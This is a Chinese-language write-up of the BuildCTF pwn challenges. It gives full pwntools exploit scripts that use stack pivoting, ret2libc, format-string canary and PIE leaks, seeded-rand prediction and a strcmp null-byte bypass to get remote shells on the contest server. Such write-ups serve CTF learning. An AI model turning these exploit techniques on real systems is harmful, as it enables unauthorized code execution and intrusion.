BuildCTF PWN部分详解
我要成为沙威玛传奇
直接打,都不用脚本,一直当乞丐就行
touch heart
直接传参给system
过滤了这些:
可以用分号绕过:
login
典型的栈迁移,只能溢出10个字节,也就是rbp和ret_addr
思路就是栈迁移到bss段,再调用puts打印puts_got计算libc_base,再ret2libc即可。
exp:
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux',log_level='debug')
#p = process("./pwn")
p = remote("27.25.151.80",43248)
elf = ELF("./pwn")
#libc = ELF("./libc.so.6")
bss = 0x601100
vuln = 0x4006C7
read = 0x4006D9
leave = 0x4006F5
ret = 0x4006F6
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
pop_rdi = 0x400783
pop_rbp = 0x4005d0
payload0 = b'a'*(0x30) + p64(bss+0x30) + p64(read)
p.send(payload0)
payload = p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
payload += p64(pop_rbp) + p64(bss+0x500) +p64(read)
payload = payload.ljust(0x30,b"\x00") + p64(bss-0x8) + p64(leave)#栈迁移,先覆盖返回地址为bss,再接leave_ret
p.send(payload)
p.recvuntil(b"Please login!")
p.recvuntil(b"\n",drop=True)
data = p.recv(6).ljust(8,b'\x00')#################################接收puts_got
print("接收到的原始数据:", data)
puts_addr = u64(data)
print(hex(puts_addr))
libc=ELF('./libc-2.23.so')
libc_base = puts_addr -libc.sym['puts']
system_addr = libc_base +libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
print(hex(libc_base))
payload = p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system_addr)
payload = payload.ljust(0x30,b'\x00')
payload += p64(bss+0x500-0x38) + p64(leave)
p.send(payload)
p.interactive()
要注意接收啊,调了半天。只有6字节,后面记得加ljust(8,b'\x00')
Format1
保护拉满:
v6是canary,程序会打印puts的真实地址,可以用来计算libc_base
后面有格式化字符串,可以同时泄露canary和pie_base:
用这个add rbx 1可以计算pie_base,canary是图中的dad8那个。
算pie对应ida中的这个:
exp:
from pwn import *
context.os = 'Linux'
context.arch = 'amd64'
context.log_level = 'debug'
p = remote("27.25.151.80",43725)
#p = process("./test")
elf = ELF('./test')
libc = ELF("./libc-2.31.so")
puts_got = libc.sym["puts"]
# get canary and addr
p.recvuntil(b"What's this? => ")
puts_addr = int(p.recv(14),16)
print(hex(puts_addr))
p.sendline('%15$paaaa%9$p')
p.recvuntil('0x')
canary = int(p.recv(16), 16)
log.success('canary: '+hex(canary))
p.recvuntil('aaaa')
pie_base = int(p.recv(14), 16) - 0x132D
log.success('pie_base: '+hex(pie_base))
libc_base = puts_addr - puts_got
print("libc_base:",hex(libc_base))
system = libc_base + libc.sym["system"]
bin_sh = libc_base + next(libc.search(b"/bin/sh"))
pop_rdi_ret = pie_base + 0x1343
ret = pie_base + 0x101a
payload = b'a'*(0x30-0x8) + p64(canary) + b'a'*0x8 + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system)
p.recvuntil("?")
p.sendline(payload)
p.interactive()
babyrand
又是保护全开:
程序:
和format1很像,多了一个login
login:
基础的以时间为随机数种子,同样以时间为种子撞库即可
有个要注意的点,得login之后才能算格式化字符串的参数和canary对应的格式化字符串参数位置,需要调试一下
这题不需要pie_base一样写的,有libc啥都有了。
exp:
from pwn import *
from ctypes import *
context(arch='amd64', log_level='debug', os='linux')
file_name = './pwn'
elf = ELF(file_name)
io = remote("27.25.151.80",43729)
#io = process("./pwn")
libc = cdll.LoadLibrary('libc.so.6')
# 使用 time(0) 设置种子
seed = int(time.time())
libc.srand(seed)
# 生成密码
password = []
for _ in range(11):
random_char = libc.rand() % 25 + 32 # 生成随机字符
password.append(chr(random_char)) # 转换为字符并添加到列表
# 输出生成的密码
generated_password = ''.join(password)
print("Generated password:", generated_password)
io.recvuntil("please login >>>>\n")
io.sendline(generated_password)
io.recvuntil(b"Please enter your content!\n")
#io.sendline(b'aaaa-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x')
#7
payload = b'%17$p'
io.send(payload)
io.recvuntil('0x')
canary = int(io.recv(16), 16)
log.success('canary: '+hex(canary))
io.recvuntil("Here's a little present for you ")
libc = ELF("./libc.so.6")
puts_addr = int(io.recv(14),16)
print("puts_addr:",hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"]
print("libc_base:",hex(libc_base))
libc = ELF("./libc.so.6")
pop_rdi_ret = libc_base + 0x2a3e5
system = libc_base + libc.sym["system"]
bin_sh = libc_base + next(libc.search(b"/bin/sh"))
ret = libc_base + 0x29139
payload = b'a'*(0x60-0x8) + p64(canary) + b'a'*0x8 + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system)
io.sendline(payload)
io.interactive()
real_random
漏洞点在这,strcmp有两个情况会返回0,一是比较两个完全相等,还有就是比较的对象有\x00开头可以绕过比较。
get_random:
从/dev/random中获取随机字符,所有字符都可能出现,包括\x00,只要一直循环,直到随机到随机数是\x00就能成功绕过检查。
有个卡住的点在于,得到congratulations但是交互没反应,其实是Congratulations!!!后面没有\n,之前用的recvline接收不到,换成recvuntil即可。
exp:
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
io = remote("27.25.151.80",43707) # 替换为你的程序名
#io = process("./pwn")
while True:
buf = b'\x00aaa'
io.sendline(buf)
# 接收输出
try:
response = io.recvuntil(b'Congratulations!!!', timeout=0.3) # 等待直到收到“Congratulations!!!”
print("Received:", response.decode().strip())
# 检查是否得到了“Congratulations!!!”
if b'Congratulations!!!' in response:
print("Success! Received Congratulations!!!")
io.interactive() # 进入交互模式
break # 成功后退出循环
except EOFError:
print("Connection closed by remote host.")
break
except KeyboardInterrupt:
print("Interrupted by user.")
break
# 关闭连接
io.close()
no_shell
没啥保护
有printf地址可以泄露libc
有个检查info的,ret2libc直接不用管这个
exp
from pwn import *
context.log_level = "debug"
#io = process("./pwn")
io = remote("27.25.151.80",43894)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
printf_got = libc.sym["printf"]
io.recvuntil(b"this is gift:")
printf_addr = int(io.recv(14),16)
print(hex(printf_addr))
print("printf_got:",hex(printf_got))
libc_base = printf_addr - printf_got
log.success("libc_base:"+hex(libc_base))
#system = libc_base + libc.sym["system"]
system = elf.plt["system"]
ret = libc_base + 0x29139
pop_rdi = libc_base + 0x2a3e5 #pop_rdi_ret in libc
bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))#bin_sh = 0x4040A0
#system = libc_base + libc.sym["system"]
pop_rbp = 0x4011ed
log.success("pop_rdi:"+hex(pop_rdi))
log.success("bin_sh:"+hex(bin_sh))
p = b'A'*(0x80+8) + p64(pop_rdi) + p64(bin_sh) +p64(ret) + p64(system)
io.recvuntil(b"simple!!! right?")
#io.sendline("aaa")
io.send(b'a'*14)
io.sendline(p)
io.interactive()
retret
没什么保护
可以写入0x60到buf,但是没有溢出,后面会给栈的地址
explore里面有一个字节的溢出,可以篡改rbp
注意这里是return,自带leave ret的
第一次read 0x60先布置利用puts泄露libc的pop,后面的explore直接篡改rbp为打印的buf地址,栈迁移回栈上,后面再来一次构造system(/bin/sh)
exp:
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
io = remote("27.25.151.80",43920)
#io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr = elf.symbols["main"]
pop_rdi=0x40119e
ret = 0x40101a
payload = b'A'*(0x8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.sendafter(b"who are you?\n",payload)
io.recvuntil(b"0x")
stack = int(str(io.recvuntil(b"\n")[:-1])[2:-1], 16)
log.success("stack_addr==>" + hex(stack))
payload = b'A'*0x8 + p64(stack)
io.sendafter(b'Have a good time!\n',payload)
puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = puts_addr - libc.sym['puts']
log.success("libc_base:" + hex(libc_base))
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
payload = b'A'*0x8 + p64(pop_rdi) + p64(bin_sh_addr) + p64(ret) + p64(system_addr)
io.sendlineafter(b"who are you?\n",payload)
io.recvuntil(b"0x")
stack = int(str(io.recvuntil(b"\n")[:-1])[2:-1], 16)
log.success("stack_addr==>" + hex(stack))
payload = b'A'*0x8 + p64(stack)
io.sendafter(b'Have a good time!\n',payload)
io.interactive()